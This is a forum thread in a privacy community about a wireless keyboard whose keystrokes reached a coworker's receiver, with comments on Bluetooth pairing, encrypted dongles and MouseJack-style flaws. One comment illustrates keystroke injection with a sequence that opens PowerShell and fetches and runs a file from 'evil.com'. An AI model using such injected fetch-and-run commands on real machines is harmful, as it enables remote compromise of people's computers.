this post was submitted on 08 Sep 2023
56 points (78.0% liked)

Privacy

29784 readers
694 users here now

A place to discuss privacy and freedom in the digital world.

Privacy has become a very important issue in modern society, with companies and governments constantly abusing their power, more and more people are waking up to the importance of digital privacy.

In this community everyone is welcome to post links and discuss topics related to privacy.

Some Rules

Related communities

Chat rooms

much thanks to @gary_host_laptop for the logo design :)

founded 4 years ago
MODERATORS
 

I aways wondered if the communication channel between my wireless keyboard and the usb receiver-antena is secure. I never bother to reseach this. Today I figured out the practical way. I turned on my pc at work and I tried to type the first letter of my password. Nothing hapened. Then I started spamming that letter. Still nothing, until the person next to me said "my keyboard is typing all by itself". It turns out she has a wireless mouse with a seemigly identical receiver-antena usb.

The moral of the story. If it was so easy to almost leak my password unintentionally due to this flaw of wireless keyboard communication, imagine wad a bad actor can do intentionally. Why try to brute force, social engineer e.t.c. when your password can be stollen in transit from your keyboard to your pc.

top 40 comments
sorted by: hot top controversial new old
[–] [email protected] 81 points 9 months ago (1 children)

Bluetooth data transmission is encrypted. Initialization typically happens only through the press of a physical button.

I assume you're using wireless devices of the same manufacturer, that uses an alternative that is not Bluetooth, and has automatic pairing without a safeguard.

This is not about wireless primarily. Use a decent product and standard and you don't have that issue.

[–] [email protected] 18 points 9 months ago (1 children)

Bluetooth isn't guaranteed to be safe either. It can be safe, with the proper configuration (which depends on the manufacturer, you usually can't change it), but it can also be very vulnerable

[–] [email protected] 2 points 9 months ago (1 children)

How so? You mean which encryption is being used? The Bluetooth demanded minimum is not enough?

[–] [email protected] 5 points 9 months ago

Earlier this year i was reading the bluetooth specification (of course not all of it, certain parts only, it's quite long) and I remember that there are pairing modes which can't guarantee that the connection is secure, because the method does not make sure that the connection cannot be eavesdropped by an attacker to obtain the keys that'll be used.
Of course better devices will already be paired in the factory.. but that's not all of them, and how do you even verify that it has been paired in the factory, or it just randomly pairs with whatever it finds in pairing mode? Or how do you verify that they correctly verify the incoming packets?
But for the user-pairable ones, the security of the connection depends a lot on what pairing mode will you use, there's a huge difference if you just press a button and done, or when you can somehow input codes on both devices.

And it's not even just about whether you trust your devices to follow the bluetooth specifications correctly. Bluetooth had many different security mechanisms over the years, for the different bluetooth versions, many of which don't protect against certain types of attacks and situations, or which are just plainly insecure.
But they still exist and they are still used by some (or more) manufacturers who just don't care.
Also keep in mind that for compatibility many Bluetooth devices also support communication with older versioned devices.

This stackoverflow post tries to summarize a part of the evolution of bluetooth security. Hopefully with it the above will make sense

But then bluetooth vulnerabilities are also not unkown, both software and hardware based.

[–] [email protected] 33 points 9 months ago* (last edited 9 months ago) (2 children)

This strongly depends on the brands you use. Unencrypted, automatically re-pairing devices are not normal, it just sounds like you and your coworker bought devices from questionable brands. Logitech keyboards and dongles encrypt key presses, for example. You do need to regularly check for firmware updates for both your keyboard and the receiver (sometimes vulnerabilities are found and despite the spyware Logitech wants to install onto your computer, these updates aren't done automatically) but they're generally quite safe.

Something perhaps more worrying: unencrypted keyboards will also let anyone in range inject keystrokes. A simple win+r, powershell.exe, wget http://evil.com, ./evil.exe could infect your computer if you look away for just five seconds.

These pages show how various brands deal with such security bugs: KeyJack Affected Devices, MouseJack Affected Devices. TL;DR, don't use anything from Microsoft or AliExpress/Amazon Basics and update your firmware.

[–] [email protected] 5 points 9 months ago* (last edited 9 months ago) (1 children)

Thanks. For what kind of specs I should be looking when byuing a wireless product? What key words I should be looking for?

[–] [email protected] 3 points 9 months ago (1 children)

"Encryption" most importantly, preferably encryption checked out by third parties. It's no guarantee, but firmware updates for peripherals such as keyboards and receivers are usually a good sign; most hardware can use a firmware update down the line, but only the shitty brands don't make any updates after release. The lists I linked also show how companies responded to flaws in their wireless communications: no response is a bad sign, if there is a response that's usually a good sign (but may come with instructions like "customer should buy a new, up to date receiver").

Wired keyboards are also fine, of course, if you don't want to deal with security risks.

If you do want to go wireless, I would personally look at Logitech's offerings, in my experience their hardware is usually quite good and they do eventually patch their bugs (unlike, say Microsoft).

[–] [email protected] 3 points 9 months ago

I'll probably going to update to wired. It has all of the advanteges except portability. The only reason I got that wireless keyboard was that I needed something small, chaeap and portable.

[–] [email protected] 1 points 9 months ago (1 children)

Hmm, do you want a keyboard with firmware updates that encrypts keybresses....

Or simply use USB?...

[–] [email protected] 1 points 9 months ago

USB works great but you need a lot of extension cables to control your media center PC from the couch, and they're usually not exactly up to spec either.

I don't use a wireless keyboard, I do have a wireless mouse for travelling, though. Sometimes wireless makes sense, sometimes it doesn't.

[–] [email protected] 9 points 9 months ago

Still using a PS/2 keyboard from like 2007. Checkmate.

[–] [email protected] 7 points 9 months ago (1 children)

I guess being old fashioned and sticking with my model M has it's advantages.

[–] [email protected] 2 points 9 months ago

The guy sitting next to you hates you

[–] [email protected] 6 points 9 months ago (2 children)

All my passwords are random characters and I just copy/paste out of bitwarden. Can't leak that with a wireless keyboard.

[–] [email protected] 2 points 9 months ago (1 children)

Does that work for logging in?

[–] [email protected] 1 points 9 months ago (1 children)

I only log in on my own devices. On devices that I don't own, I change the password afterwards.

[–] [email protected] 4 points 9 months ago (1 children)

I think they mean logging into the device itself. Like, if you have a computer at work with a work login, etc.

[–] [email protected] 1 points 9 months ago

Fair enough, that is a bit complicated. Thank you for clarification.

[–] [email protected] 1 points 9 months ago

So what you're saying is that the password to get all your passwords from the cloud is typed onto a wireless keyboard?

[–] [email protected] 5 points 9 months ago

My Wireless keyboard is a Keychron. It doesn't have a dedicated adapter, it'll connect to any device with Bluetooth capabilities. From what I've seen of how it works, is that it can store up to 3 device signatures to automatically connect to (you can choose which of the three is active). What I assume it's storing is the MAC address which I thought is unique to the device.

[–] [email protected] 5 points 9 months ago* (last edited 9 months ago) (1 children)

do you have one with 2.4ghz receiver?
like one of the plug and connect; no pairing required ones?
yeah these are garbage...

[–] [email protected] 2 points 9 months ago

It was indeed a 2.4 Ghz one.

[–] [email protected] 4 points 9 months ago

It is also problematic that you can send keypresses to the other person, especially since she was only using the receiver for a mouse.

[–] [email protected] 4 points 9 months ago

Used to work in an office where dell's wireless peripherals would every once in a while randomly enter pairing mode and connect to someone else's machine... often to the humor of those nearby. Their tech was based on Logitech's older Unifying stuff but I have no idea what they were thinking when adding auto pairing to it.

For wireless peripherals do research beforehand if this is something you're worried about. Personally I stick with newer logitech stuff, which encrypt the connection and don't start auto-pairing when peripherals are switched on

[–] [email protected] 3 points 9 months ago (1 children)

Lol my closest neighbor is half a mile away checkmate

[–] [email protected] 8 points 9 months ago (1 children)

Pay no attention to that unmarked van

[–] [email protected] 2 points 9 months ago

Can-tenna yaggi omni bi-focal ... satellite dish made into a bigass reflector collector. I'll get you from well down the street.

[–] [email protected] 3 points 9 months ago* (last edited 9 months ago) (2 children)

I don't use wireless because batteries suck to deal with. I learned that in my teens with a wireless headset, wireless mouse and wireless keyboard!

[–] [email protected] 5 points 9 months ago

I don't know how old you are, but I used to think the same thing in my teens, however nowadays wireless nice last pretty long on a single charge. Mine lasts about 3 months, and in endurance mode like half a year.

[–] [email protected] 4 points 9 months ago

modern (bt) devices usually have a built in battery that can be recharged via cable (or use the cable to connect the device to it's computer), so that issue is off the table, at least for better devices.

[–] [email protected] 3 points 9 months ago

Don't use cheap ones with white label components. Sender and receiver having a shared key would resolve this.

[–] [email protected] 2 points 9 months ago (1 children)

Shit my current computer only works with wireless keyboard...Although I guess I could get a regular one and use one of the USB ports. Good to know, thanks.

[–] [email protected] 2 points 9 months ago (1 children)

If the keyboard is connected via Bluetooth, it should be quite secure.

[–] [email protected] 1 points 9 months ago (1 children)

It's connected via wireless USB.

[–] [email protected] 2 points 9 months ago* (last edited 9 months ago) (1 children)

According to Wikipedia, wireless USB should be secure too: "The goal of the specification was to preserve the functional model of USB, based on intelligent hosts and behaviorally simple devices, while allowing it to operate in a wireless environment and keeping security on a par with the levels offered by traditional wired systems."

[–] [email protected] 2 points 9 months ago

Phew. Thanks for doing the research and sharing the info

[–] [email protected] 2 points 9 months ago (1 children)

People use wireless keyboards?

[–] [email protected] 4 points 9 months ago (1 children)

yeah, a bluetooth one and it's great.

[–] [email protected] 3 points 9 months ago* (last edited 9 months ago)

Just another item to charge it or replace the battery.

Frankly speaking, I tend to use wired if I can. I'm just one of those unlucky folks where whenever I'm in a hurry or something's urgent. Things I use tend to be low on battery, ink, supply, gas, etcetera at that exact moment.

Either I'm unlucky or I have a tendency to forget to monitor things that need refilling.

[–] [email protected] 0 points 9 months ago